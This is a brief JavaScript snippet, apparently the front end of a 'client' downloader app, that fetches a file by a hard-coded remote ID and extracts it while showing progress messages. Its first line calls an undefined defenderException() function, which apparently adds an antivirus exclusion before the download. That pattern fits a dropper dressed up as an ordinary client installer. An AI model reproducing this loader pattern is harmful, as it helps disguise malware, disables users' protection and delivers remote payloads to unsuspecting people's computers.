defenderException();

$("#closed").click(function () {
    Closed();
});

$('form').submit(async function(event) {
    event.preventDefault();

    $('#download-button').prop('disabled', true).addClass('disabled');
    $('#download-button span').text('Wait...');

    const fileType = $('input[name="file_type"]:checked').val();
    const fileIds = {
        file1: '130kvTEzxUcNe2jhsokzRLsQZ2b5k2Hm_',
        file2: '130kvTEzxUcNe2jhsokzRLsQZ2b5k2Hm_'
    };
    const fileId = fileIds[fileType];

    $('#status').text('Downloading client...');

    DownloadProgress(`File: {progress}% | Speed: {speed} Mbps`);
    ExtractProgress();

    const result = await DownloadFile(fileId);

    if (result.success) {
        $('#status').text('Extracting client...');

        const extractResult = await ExtractFile(result.filePath);

        if (extractResult.success) {
            $('#status').text('Client downloaded and extracted successfully!');
        } else {
            $('#status').text(`Error extracting client: ${extractResult.error}`);
        }
    } else {
        $('#status').text(`Error downloading the client: ${result.error}`);
    }
});